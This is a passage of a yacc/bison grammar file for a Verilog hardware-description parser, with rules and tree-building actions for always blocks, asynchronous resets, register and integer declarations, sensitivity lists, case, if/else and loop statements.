FreeTcell($2); FreeTcell($3); FreeTcell($5); FreeTcell($7);
}
| T_ALWAYS T_AT T_LPARENTESIS sensitivity_item_sequential T_COMMA sensitivity_item_sequential T_RPARENTESIS T_BEGIN T_COLON T_ID variable_process_types_list always_bodies T_END
{ /* N_ALWAYS_ASYNCRONE_SEQUENCE info0=sensitivity, info1=body, info2=sensitivity(reset) */
$$ = $1; SetType($$,N_ALWAYS_ASYNCRONE_SEQUENCE); SetInfo1($$,$12); SetInfo3($$,$11);
if (UsedSignalinIfCond($12,CellInfo0($4)) == False && UsedSignalinIfCond($12,CellInfo0($6)) == True) {
SetInfo0($$,$4); // clk
SetInfo2($$,$6); // reset
}
else if (UsedSignalinIfCond($12,CellInfo0($4)) == True && UsedSignalinIfCond($12,CellInfo0($6)) == False) {
SetInfo0($$,$6); // clk
SetInfo2($$,$4); // reset
}
else {
yyerror("$Can not determine clock signal.");
}
if (CellType($12) == T_IF) {
CellType($12) = N_ASYNCRST_IF;
if (CellInfo2($12) != NULLCELL && CellType(CellInfo2($12)) == T_ELSIF)
CellType(CellInfo2($12)) = T_IF;
}
else {
yyerror("$Unsupported type of description for async reset.");
}
SetLine($$,CellLine($1));
FreeTcell($2); FreeTcell($3); FreeTcell($5); FreeTcell($7); FreeTcell($8); FreeTcell($13);
}
| T_ALWAYS T_AT T_LPARENTESIS sensitivity_item_sequential T_COMMA sensitivity_item_sequential T_RPARENTESIS T_BEGIN T_COLON T_ID variable_process_types_list always_body T_END
{ /* N_ALWAYS_ASYNCRONE_SEQUENCE info0=sensitivity, info1=body, info2=sensitivity(reset) */
$$ = $1; SetType($$,N_ALWAYS_ASYNCRONE_SEQUENCE); SetInfo1($$,$12); SetInfo3($$,$11);
if (UsedSignalinIfCond($12,CellInfo0($4)) == False && UsedSignalinIfCond($12,CellInfo0($6)) == True) {
SetInfo0($$,$4); // clk
SetInfo2($$,$6); // reset
}
else if (UsedSignalinIfCond($12,CellInfo0($4)) == True && UsedSignalinIfCond($12,CellInfo0($6)) == False) {
SetInfo0($$,$6); // clk
SetInfo2($$,$4); // reset
}
else {
yyerror("$Can not determine clock signal.");
}
if (CellType($12) == T_IF) {
CellType($12) = N_ASYNCRST_IF;
if (CellInfo2($12) != NULLCELL && CellType(CellInfo2($12)) == T_ELSIF)
CellType(CellInfo2($12)) = T_IF;
}
else {
yyerror("$Unsupported type of description for async reset.");
}
SetLine($$,CellLine($1));
FreeTcell($2); FreeTcell($3); FreeTcell($5); FreeTcell($7); FreeTcell($8); FreeTcell($13);
}
| T_ALWAYS T_AT T_LPARENTESIS sensitivity_item_sequential T_COMMA sensitivity_item_sequential T_RPARENTESIS T_COLON T_ID variable_process_types_list always_body
{ /* N_ALWAYS_ASYNCRONE_SEQUENCE info0=sensitivity, info1=body, info2=sensitivity(reset) */
$$ = $1; SetType($$,N_ALWAYS_ASYNCRONE_SEQUENCE); SetInfo1($$,$11); SetInfo3($$,$10);
if (UsedSignalinIfCond($11,CellInfo0($4)) == False && UsedSignalinIfCond($11,CellInfo0($6)) == True) {
SetInfo0($$,$4); // clk
SetInfo2($$,$6); // reset
}
else if (UsedSignalinIfCond($11,CellInfo0($4)) == True && UsedSignalinIfCond($11,CellInfo0($6)) == False) {
SetInfo0($$,$6); // clk
SetInfo2($$,$4); // reset
}
else {
yyerror("$Can not determine clock signal.");
}
if (CellType($11) == T_IF) {
CellType($11) = N_ASYNCRST_IF;
if (CellInfo2($11) != NULLCELL && CellType(CellInfo2($11)) == T_ELSIF)
CellType(CellInfo2($11)) = T_IF;
}
else {
yyerror("$Unsupported type of description for async reset.");
}
SetLine($$,CellLine($1));
FreeTcell($2); FreeTcell($3); FreeTcell($5); FreeTcell($7);
}
| T_ALWAYS T_AT T_LPARENTESIS sensitivity_item_sequential T_COMMA sensitivity_item_sequential T_RPARENTESIS always_body_generic
{ /* N_ALWAYS_ASYNCRONE_SEQUENCE info0=sensitivity, info1=body, info2=sensitivity(reset) */
$$ = $1; SetType($$,N_ALWAYS_ASYNCRONE_SEQUENCE); SetInfo1($$,$8);
if (CellType($8) == T_IF) {
if (UsedSignalinIfCond($8,CellInfo0($4)) == False && UsedSignalinIfCond($8,CellInfo0($6)) == True) {
SetInfo0($$,$4); // clk
SetInfo2($$,$6); // reset
}
else if (UsedSignalinIfCond($8,CellInfo0($4)) == True && UsedSignalinIfCond($8,CellInfo0($6)) == False) {
SetInfo0($$,$6); // clk
SetInfo2($$,$4); // reset
}
else {
SetInfo0($$,$4); // clk
SetInfo2($$,$6); // reset
}
if (CellType($8) == T_IF) {
CellType($8) = N_ASYNCRST_IF;
if (CellInfo2($8) != NULLCELL && CellType(CellInfo2($8)) == T_ELSIF)
CellType(CellInfo2($8)) = T_IF;
}
else {
yyerror("$Unsupported type of description for async reset.");
}
}
else {
SetInfo0($$,$4); // clk
SetInfo2($$,$6); // reset
}
SetLine($$,CellLine($1));
FreeTcell($2); FreeTcell($3); FreeTcell($5); FreeTcell($7);
}
;
variable_process_types_list
: variable_process_types variable_process_types_list
{
$$ = $1; SetNext($$,$2);
}
| variable_process_types
{
$$ = $1; SetNext($$,NULLCELL);
}
;
variable_process_types
: T_REG port_names T_SEMICOLON
{ /* T_REG info0=range(N_NULL), info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetType($$,N_VARIABLE_PROCESS); SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,NULLCELL); SetInfo3($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($3);
}
| T_REG port_names T_EQ expression_list T_SEMICOLON
{ /* T_REG info0=range(N_NULL), info1=name, info2=array(range)(N_NULL), info3=expression */
$$ = $1; SetType($$,N_VARIABLE_PROCESS); SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,NULLCELL); SetInfo3($$,$4);
SetLine($$,CellLine($1));
FreeTcell($3); FreeTcell($5);
}
| T_REG range port_names T_SEMICOLON
{ /* T_REG info0=range, info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetType($$,N_VARIABLE_PROCESS); SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL); SetInfo3($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($4);
}
| T_REG range port_names T_EQ expression_list T_SEMICOLON
{ /* T_REG info0=range, info1=name, info2=array(range)(N_NULL), info3=expression */
$$ = $1; SetType($$,N_VARIABLE_PROCESS); SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL); SetInfo3($$,$5);
SetLine($$,CellLine($6));
ChkEvalOutput($5, SigListTop);
FreeTcell($4); FreeTcell($6);
}
| T_REG port_names range T_SEMICOLON
{ /* T_REG info0=range(N_NULL), info1=name, info2=array(range) */
$$ = $1; SetType($$,N_VARIABLE_PROCESS); SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,$3); SetInfo3($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($4);
}
| T_REG port_names range T_EQ expression_list T_SEMICOLON
{ /* T_REG info0=range(N_NULL), info1=name, info2=array(range), info3=expression */
$$ = $1; SetType($$,N_VARIABLE_PROCESS); SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,$3); SetInfo3($$,$5);
SetLine($$,CellLine($6));
ChkEvalOutput($5, SigListTop);
FreeTcell($4); FreeTcell($6);
}
| T_REG range port_names range T_SEMICOLON
{ /* T_REG info0=range, info1=name, info2=array(range) */
$$ = $1; SetType($$,N_VARIABLE_PROCESS); SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$4); SetInfo3($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($5);
}
| T_REG range port_names range T_EQ expression_list T_SEMICOLON
{ /* T_REG info0=range, info1=name, info2=array(range), info3=expression */
$$ = $1; SetType($$,N_VARIABLE_PROCESS); SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$4); SetInfo3($$,$6);
SetLine($$,CellLine($6));
ChkEvalOutput($5, SigListTop);
FreeTcell($5); FreeTcell($7);
}
| T_INTEGER port_names T_SEMICOLON
{ /* T_INTEGER info0=range(N_NULL), info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetType($$,N_CONSTANT_PROCESS); SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,NULLCELL); SetInfo3($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($3);
}
| T_INTEGER port_names T_EQ expression_list T_SEMICOLON
{ /* T_INTEGER info0=range(N_NULL), info1=name, info2=array(range)(N_NULL), info3=expression */
$$ = $1; SetType($$,N_CONSTANT_PROCESS); SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,NULLCELL); SetInfo3($$,$4);
SetLine($$,CellLine($1));
FreeTcell($3); FreeTcell($5);
}
| T_INTEGER range port_names T_SEMICOLON
{ /* T_INTEGER info0=range, info1=name, info2=array(range)(N_NULL) */
$$ = $1; SetType($$,N_CONSTANT_PROCESS); SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL); SetInfo3($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($4);
}
| T_INTEGER range port_names T_EQ expression_list T_SEMICOLON
{ /* T_INTEGER info0=range, info1=name, info2=array(range)(N_NULL), info3=expression */
$$ = $1; SetType($$,N_CONSTANT_PROCESS); SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL); SetInfo3($$,$5);
SetLine($$,CellLine($6));
ChkEvalOutput($5, SigListTop);
FreeTcell($4); FreeTcell($6);
}
| T_INTEGER port_names range T_SEMICOLON
{ /* T_INTEGER info0=range(N_NULL), info1=name, info2=array(range) */
$$ = $1; SetType($$,N_CONSTANT_PROCESS); SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,$3); SetInfo3($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($4);
}
| T_INTEGER port_names range T_EQ expression_list T_SEMICOLON
{ /* T_INTEGER info0=range(N_NULL), info1=name, info2=array(range), info3=expression */
$$ = $1; SetType($$,N_CONSTANT_PROCESS); SetInfo0($$,NULLCELL); SetInfo1($$,$2); SetInfo2($$,$3); SetInfo3($$,$5);
SetLine($$,CellLine($6));
ChkEvalOutput($5, SigListTop);
FreeTcell($4); FreeTcell($6);
}
| T_INTEGER range port_names range T_SEMICOLON
{ /* T_INTEGER info0=range, info1=name, info2=array(range) */
$$ = $1; SetType($$,N_CONSTANT_PROCESS); SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$4); SetInfo3($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($5);
}
| T_INTEGER range port_names range T_EQ expression_list T_SEMICOLON
{ /* T_INTEGER info0=range, info1=name, info2=array(range), info3=expression */
$$ = $1; SetType($$,N_CONSTANT_PROCESS); SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$4); SetInfo3($$,$6);
SetLine($$,CellLine($6));
ChkEvalOutput($5, SigListTop);
FreeTcell($5); FreeTcell($7);
}
;
sensitivity_list
: T_POSEDGE expression_worm T_GATE_OR sensitivity_list
{ /* T_POSEDGE info0=signal */
$$ = MallocTcell(N_SENSITIVITY_POSEDGE_LIST,(char *)NULL,CellLine($2)); SetInfo0($$,$2); SetNext($$,$4);
}
| T_NEGEDGE expression_worm T_GATE_OR sensitivity_list
{ /* T_NEGEDGE info0=signal */
$$ = MallocTcell(N_SENSITIVITY_NEGEDGE_LIST,(char *)NULL,CellLine($2)); SetInfo0($$,$2); SetNext($$,$4);
}
| expression T_GATE_OR sensitivity_list
{ /* N_SENSITIVITY_LIST info0=signal */
$$ = MallocTcell(N_SENSITIVITY_LIST,(char *)NULL,CellLine($1)); SetInfo0($$,$1); SetInfo0($$,$1); SetNext($$,$3);
}
| T_POSEDGE expression_worm
{ /* T_POSEDGE info0=signal */
$$ = MallocTcell(N_SENSITIVITY_POSEDGE_LIST,(char *)NULL,CellLine($2)); SetInfo0($$,$2); SetNext($$,NULLCELL);
}
| T_NEGEDGE expression_worm
{ /* T_NEGEDGE info0=signal */
$$ = MallocTcell(N_SENSITIVITY_NEGEDGE_LIST,(char *)NULL,CellLine($2)); SetInfo0($$,$2); SetNext($$,NULLCELL);
}
| expression
{ /* N_SENSITIVITY_LIST info0=signal */
$$ = MallocTcell(N_SENSITIVITY_LIST,(char *)NULL,CellLine($1)); SetInfo0($$,$1); SetNext($$,NULLCELL);
}
;
sensitivity_list_combinational
: sensitivity_item_combinational T_GATE_OR sensitivity_list_combinational
{
$$ = $1; SetNext($$,$3);
FreeTcell($2);
}
| sensitivity_item_combinational
{
$$ = $1; SetNext($$,NULLCELL);
}
;
sensitivity_item_combinational
: expression_worm
{ /* N_SENSITIVITY_LIST info0=signal */
$$ = MallocTcell(N_SENSITIVITY_LIST,(char *)NULL,CellLine($1)); SetInfo0($$,$1);
}
;
sensitivity_item_sequential
: T_POSEDGE expression
{ /* T_POSEDGE info0=signal */
$$ = $1; SetInfo0($$,$2);
}
| T_NEGEDGE expression
{ /* T_NEGEDGE info0=signal */
$$ = $1; SetInfo0($$,$2);
}
;
always_bodies_generic
: always_body_generic always_bodies_generic
{ /* N_ALWAYS_BODIES_GENERIC info0=body */
$$ = MallocTcell(N_ALWAYS_BODIES_GENERIC,(char *)NULL,CellLine($1)); SetInfo0($$,$1); SetInfo0($$,$1); SetNext($$,$2);
}
| always_body_generic
{
$$ = MallocTcell(N_ALWAYS_BODIES_GENERIC,(char *)NULL,CellLine($1)); SetInfo0($$,$1); SetNext($$,NULLCELL);
}
;
always_body_generic
: T_BEGIN T_COLON T_ID always_bodies T_END
{
$$ = $4;
FreeTcell($1); FreeTcell($2); FreeTcell($5);
}
| T_BEGIN T_BEGIN always_bodies T_END T_END
{
$$ = $3;
FreeTcell($1); FreeTcell($2); FreeTcell($4); FreeTcell($5);
}
| T_BEGIN always_bodies T_END
{
$$ = $2;
FreeTcell($1); FreeTcell($3);
}
| T_BEGIN T_COLON T_ID always_body T_END
{
$$ = $4;
FreeTcell($1); FreeTcell($2); FreeTcell($5);
}
| T_BEGIN T_BEGIN always_body T_END T_END
{
$$ = $3;
FreeTcell($1); FreeTcell($2); FreeTcell($4); FreeTcell($5);
}
| T_BEGIN always_body T_END
{
$$ = $2;
FreeTcell($1); FreeTcell($3);
}
| always_body
{
$$ = $1;
}
;
always_bodies
: always_body always_bodies
{
$$ = $1; SetNext($$,$2);
}
| unconditional_part always_bodies
{
$$ = $1; SetNext($$,$2);
}
| always_body always_body
{
$$ = $1; SetNext($$,$2); SetNext($2,NULLCELL);
}
| unconditional_part
{
$$ = $1;
}
;
always_body
: module_instances
{
$$ = $1; SetNext($$,NULLCELL);
}
| initial_part
{
$$ = $1; SetNext($$,NULLCELL);
}
| always_part
{
$$ = $1; SetNext($$,NULLCELL);
}
| ifdef_module_part
{
$$ = $1; SetNext($$,NULLCELL);
}
| generate_blocks
{
$$ = $1; SetNext($$,NULLCELL);
}
| fork_part
{
$$ = $1; SetNext($$,NULLCELL);
}
| case_part
{
$$ = $1; SetNext($$,NULLCELL);
}
| if_part
{
$$ = $1; SetNext($$,NULLCELL);
}
| forever_part
{
$$ = $1; SetNext($$,NULLCELL);
}
| for_part
{
$$ = $1; SetNext($$,NULLCELL);
}
| repeat_part
{
$$ = $1; SetNext($$,NULLCELL);
}
| while_part
{
$$ = $1; SetNext($$,NULLCELL);
}
| continuous_assignments
{
$$ = $1; SetNext($$,NULLCELL);
}
| procedural_time_controls
{
$$ = $1; SetNext($$,NULLCELL);
}
| include_part
{
$$ = $1; SetNext($$,NULLCELL);
}
| undef_part
{
$$ = $1; SetNext($$,NULLCELL);
}
;
case_part
: T_CASE literal case_top T_ENDCASE
{ /* T_CASE info0=expression, info1=item */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
FreeTcell($4);
}
| T_UNIQUE T_CASE literal case_top T_ENDCASE
{ /* T_CASE info0=expression, info1=item */
$$ = $2; SetInfo0($$,$3); SetInfo1($$,$4);
SetLine($$,CellLine($2));
ChkEvalOutput($3, SigListTop);
FreeTcell($5);
}
;
case_top
: T_IFDEF T_ID case_top T_ELSEDEF case_top T_ENDIFDEF case_top
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_CASE);
SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$5); SetNext($$,$7);
}
| T_IFDEF T_ID case_top T_ELSEDEF case_top T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_CASE);
SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$5);
}
| T_IFDEF T_ID case_top T_ELSEDEF T_ENDIFDEF case_top
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_CASE);
SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL); SetNext($$,$6);
}
| T_IFDEF T_ID case_top T_ELSEDEF T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_CASE);
SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
}
| T_IFDEF T_ID T_ELSEDEF case_top T_ENDIFDEF case_top
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_CASE);
SetInfo0($$,$2); SetInfo1($$,NULLCELL); SetInfo2($$,$4); SetNext($$,$6);
}
| T_IFDEF T_ID T_ELSEDEF case_top T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_CASE);
SetInfo0($$,$2); SetInfo1($$,NULLCELL); SetInfo2($$,$4);
}
| T_IFDEF T_ID case_top T_ENDIFDEF case_top
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_CASE)
SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL); SetNext($$,$5);
}
| T_IFDEF T_ID case_top T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_CASE)
SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
}
| case_item case_top
{
$$ = $1; SetNext($$,$2);
}
| case_item
{
$$ = $1; SetNext($$,NULLCELL);
}
;
case_item
: expression_list T_COLON always_body_generic
{ /* N_CASE info0=condition, info1=body */
$$ = $2; SetType($$,N_CASE); SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($1));
}
| expression_list T_COLON T_SEMICOLON
{ /* N_CASE info0=condition, info1=body */
$$ = $2; SetType($$,N_CASE); SetInfo0($$,$1); SetInfo1($$,NULLCELL);
SetLine($$,CellLine($1));
FreeTcell($3);
}
| T_DEFAULT T_BEGIN always_bodies T_END
{ /* N_CASE info0=condition, info1=body */
$$ = $2; SetType($$,N_CASE); SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($1));
}
| T_DEFAULT T_BEGIN always_body T_END
{ /* N_CASE info0=condition, info1=body */
$$ = $2; SetType($$,N_CASE); SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($1));
}
| T_DEFAULT T_COLON T_BEGIN always_body T_BEGIN always_body T_END T_END
{ /* N_CASE info0=condition, info1=body */
$$ = $2; SetType($$,N_CASE); SetInfo0($$,$1); SetInfo1($$,$4);
SetLine($$,CellLine($1));
FreeTcell($3); FreeTcell($5);
}
| T_DEFAULT T_COLON always_body_generic
{ /* N_CASE info0=condition, info1=body */
$$ = $2; SetType($$,N_CASE); SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($1));
}
| expression_list T_COLON T_BEGIN T_END
{ /* N_CASE info0=condition, info1=body(N_NULL) */
$$ = $2; SetType($$,N_CASE); SetInfo0($$,$1); SetInfo1($$,MallocTcell(N_NULL,NULLSTR,CellLine($4)));
SetLine($$,CellLine($1));
FreeTcell($3); FreeTcell($4);
}
| expression_list T_COLON
{ /* N_CASE info0=condition, info1=body(N_NULL) */
$$ = $2; SetType($$,N_CASE); SetInfo0($$,$1); SetInfo1($$,MallocTcell(N_NULL,NULLSTR,CellLine($2)));
SetLine($$,CellLine($1));
}
| T_DEFAULT T_COLON T_BEGIN T_END
{ /* N_CASE info0=condition, info1=body(N_NULL) */
$$ = $2; SetType($$,N_CASE); SetInfo0($$,$1); SetInfo1($$,MallocTcell(N_NULL,NULLSTR,CellLine($4)));
SetLine($$,CellLine($1));
FreeTcell($3); FreeTcell($4);
}
| T_DEFAULT T_COLON T_SEMICOLON
{ /* N_CASE info0=condition, info1=body(N_NULL) */
$$ = $2; SetType($$,N_CASE); SetInfo0($$,$1); SetInfo1($$,MallocTcell(N_NULL,NULLSTR,CellLine($2)));
SetLine($$,CellLine($1));
}
| T_DEFAULT T_COLON
{ /* N_CASE info0=condition, info1=body(N_NULL) */
$$ = $2; SetType($$,N_CASE); SetInfo0($$,$1); SetInfo1($$,MallocTcell(N_NULL,NULLSTR,CellLine($2)));
SetLine($$,CellLine($1));
}
;
if_part
: T_IF expression T_BEGIN always_body T_BEGIN T_COLON T_ID variable_process_types_list always_body T_END T_END else_part
{ /* T_IF info0=condition, info1=then, info2=else */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$9); SetInfo2($$,$12); SetInfo3($$,$8);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
FreeTcell($3); FreeTcell($5); FreeTcell($10); FreeTcell($11);
if (CellType($12) == T_IF)
CellType($12) = T_ELSIF;
}
| T_IF expression T_BEGIN T_COLON T_ID variable_process_types_list always_bodies T_END else_part
{ /* T_IF info0=condition, info1=then, info2=else */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$7); SetInfo2($$,$9); SetInfo3($$,$6);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
FreeTcell($3); FreeTcell($8);
if (CellType($9) == T_IF)
CellType($9) = T_ELSIF;
}
| T_IF expression T_BEGIN T_COLON T_ID variable_process_types_list always_body T_END else_part
{ /* T_IF info0=condition, info1=then, info2=else */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$7); SetInfo2($$,$9); SetInfo3($$,$6);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
FreeTcell($3); FreeTcell($8);
if (CellType($9) == T_IF)
CellType($9) = T_ELSIF;
}
| T_IF expression T_COLON T_ID variable_process_types_list always_body else_part
{ /* T_IF info0=condition, info1=then, info2=else */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$6); SetInfo2($$,$7); SetInfo3($$,$5);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
if (CellType($7) == T_IF)
CellType($7) = T_ELSIF;
}
| T_IF expression always_body_generic else_part
{ /* T_IF info0=condition, info1=then, info2=else */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$4);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
if (CellType($4) == T_IF)
CellType($4) = T_ELSIF;
}
| T_IF expression always_body_generic
{ /* T_IF info0=condition, info1=then, info2=else(N_NULL) */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
}
| T_IF expression T_BEGIN T_END else_part
{ /* T_IF info0=condition, info1=then(N_NULL), info2=else */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,MallocTcell(N_NULL,NULLSTR,CellLine($4))); SetInfo2($$,$5);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
FreeTcell($3); FreeTcell($4);
if (CellType($5) == T_IF)
CellType($5) = T_ELSIF;
}
| T_IF expression else_part
{ /* T_IF info0=condition, info1=then(N_NULL), info2=else */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,MallocTcell(N_NULL,NULLSTR,CellLine($2))); SetInfo2($$,$3);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
if (CellType($3) == T_IF)
CellType($3) = T_ELSIF;
}
| T_IF expression T_BEGIN T_END
{ /* T_IF info0=condition, info1=then(N_NULL), info2=else(N_NULL) */
$$ = $1; SetInfo0($$,$2); SetInfo1($$,MallocTcell(N_NULL,NULLSTR,CellLine($4))); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
FreeTcell($3); FreeTcell($4);
}
;
else_part
: T_ELSE T_BEGIN T_COLON T_ID variable_process_types_list always_body T_END
{
$$ = $6;
SetLine($$,CellLine($1));
FreeTcell($1); FreeTcell($2); FreeTcell($7);
}
| T_ELSE always_body_generic
{
$$ = $2;
FreeTcell($1);
}
| T_ELSE T_BEGIN T_END
{
$$ = MallocTcell(N_NULL,NULLSTR,CellLine($1));
FreeTcell($1); FreeTcell($2); FreeTcell($3);
}
| T_ELSE T_SEMICOLON
{
$$ = MallocTcell(N_NULL,NULLSTR,CellLine($1));
FreeTcell($1); FreeTcell($2);
}
;
forever_part
: T_FOREVER always_body_generic
{ /* T_FOREVER info0=body */
$$ = $1; SetType($$,N_FOREVER); SetInfo0($$,$2);
SetLine($$,CellLine($1));
}
;
for_part
: T_FOR T_LPARENTESIS for_initialization T_SEMICOLON for_condition T_SEMICOLON for_actualization T_RPARENTESIS always_body_generic
{ /* T_FOR info0=initialization, info1=condition, info2=actualization, info3=body */
$$ = $1; SetInfo0($$,$3); SetInfo1($$,$5); SetInfo2($$,$7); SetInfo3($$,$9);
FreeTcell($2); FreeTcell($4); FreeTcell($6); FreeTcell($8);
}
;
for_initialization
: T_ID T_EQ expression
{ /* N_FOR_INITIALIZATION, info0=name, info1=expression */
$$ = MallocTcell(N_FOR_INITIALIZATION,(char *)NULL,CellLine($3)); SetInfo0($$,$1); SetInfo1($$,$3);
FreeTcell($2);
}
| T_LPARENTESIS for_initialization T_RPARENTESIS
{
$$ = $2;
FreeTcell($1); FreeTcell($3);
}
;
for_actualization
: T_ID T_EQ expression
{ /* N_FOR_ACTUALIZATION, info0=name, info1=expression */
$$ = MallocTcell(N_FOR_ACTUALIZATION,(char *)NULL,CellLine($3)); SetInfo0($$,$1); SetInfo1($$,$3);
FreeTcell($2);
}
| T_LPARENTESIS for_actualization T_RPARENTESIS
{
$$ = $2;
FreeTcell($1); FreeTcell($3);
}
;
for_condition
: T_ID T_GE expression
{ /* N_FOR_CONDITION_GE, info0=name, info1=expression */
$$ = MallocTcell(N_FOR_CONDITION_GE,(char *)NULL,CellLine($3)); SetInfo0($$,$1); SetInfo1($$,$3);
FreeTcell($2);
}
| T_ID T_GT expression
{ /* N_FOR_CONDITION_GT, info0=name, info1=expression */
$$ = MallocTcell(N_FOR_CONDITION_GT,(char *)NULL,CellLine($3)); SetInfo0($$,$1); SetInfo1($$,$3);
FreeTcell($2);
}
| T_ID T_LE expression
{ /* N_FOR_CONDITION_LE, info0=name, info1=expression */
$$ = MallocTcell(N_FOR_CONDITION_LE,(char *)NULL,CellLine($3)); SetInfo0($$,$1); SetInfo1($$,$3);
FreeTcell($2);
}
| T_ID T_LS expression
{ /* N_FOR_CONDITION_LS, info0=name, info1=expression */
$$ = MallocTcell(N_FOR_CONDITION_LS,(char *)NULL,CellLine($3)); SetInfo0($$,$1); SetInfo1($$,$3);
FreeTcell($2);
}
| T_LPARENTESIS for_condition T_RPARENTESIS
{
$$ = $2;
FreeTcell($1); FreeTcell($3);
}
;
repeat_part
: T_REPEAT T_LPARENTESIS expression T_RPARENTESIS always_body_generic
{ /* T_REPEAT info0=condition, info1=body */
$$ = $1; SetType($$,N_REPEAT); SetInfo0($$,$3); SetInfo1($$,$5);
SetLine($$,CellLine($1));
FreeTcell($2); FreeTcell($4);
}
;
while_part
: T_WHILE T_LPARENTESIS expression T_RPARENTESIS always_body_generic
{ /* T_WHILE info0=condition, info1=body */
$$ = $1; SetType($$,N_WHILE); SetInfo0($$,$3); SetInfo1($$,$5);
FreeTcell($2); FreeTcell($4);
}
;
continuous_assignments // SIGNAL = NET OR VARIABLE
: expression_worm T_EQ T_GENERIC expression literal T_SEMICOLON
{ /* N_VARIABLE_DELAY_ASSIGN info0=signal, info1=expression, info2=signal */
$$ = $2; SetType($$,N_VARIABLE_DELAY_ASSIGN); SetInfo0($$,$1); SetInfo1($$,$5); SetInfo2($$,$4);
SetLine($$,CellLine($6));
ChkEvalOutput($5, SigListTop);
FreeTcell($6);
}
| expression_worm T_EQ T_GENERIC_ID T_ID expression T_SEMICOLON
{ /* N_VARIABLE_DELAY_ASSIGN info0=signal, info1=expression, info2=signal */
$$ = $2; SetType($$,N_VARIABLE_DELAY_ASSIGN); SetInfo0($$,$1); SetInfo1($$,$5); SetInfo2($$,$4);
SetLine($$,CellLine($6));
ChkEvalOutput($5, SigListTop);
FreeTcell($6);
}
| expression_worm T_EQ expression literal T_SEMICOLON
{ /* N_VARIABLE_DELAY_ASSIGN info0=signal, info1=expression, info2=signal */
$$ = $2; SetType($$,N_VARIABLE_DELAY_ASSIGN); SetInfo0($$,$1); SetInfo1($$,$4); SetInfo2($$,$3);
SetLine($$,CellLine($5));
ChkEvalOutput($4, SigListTop);
FreeTcell($5);
}
| expression_worm T_GE T_GENERIC_ID T_ID expression T_SEMICOLON
{ /* N_NET_DELAY_ASSIGN info0=signal, info1=expression, info2=signal */
$$ = $2; SetType($$,N_NET_DELAY_ASSIGN); SetInfo0($$,$1); SetInfo1($$,$5); SetInfo2($$,$4);
SetLine($$,CellLine($6));
ChkEvalOutput($5, SigListTop);
FreeTcell($6);
}
| expression_worm T_GE T_GENERIC expression literal T_SEMICOLON
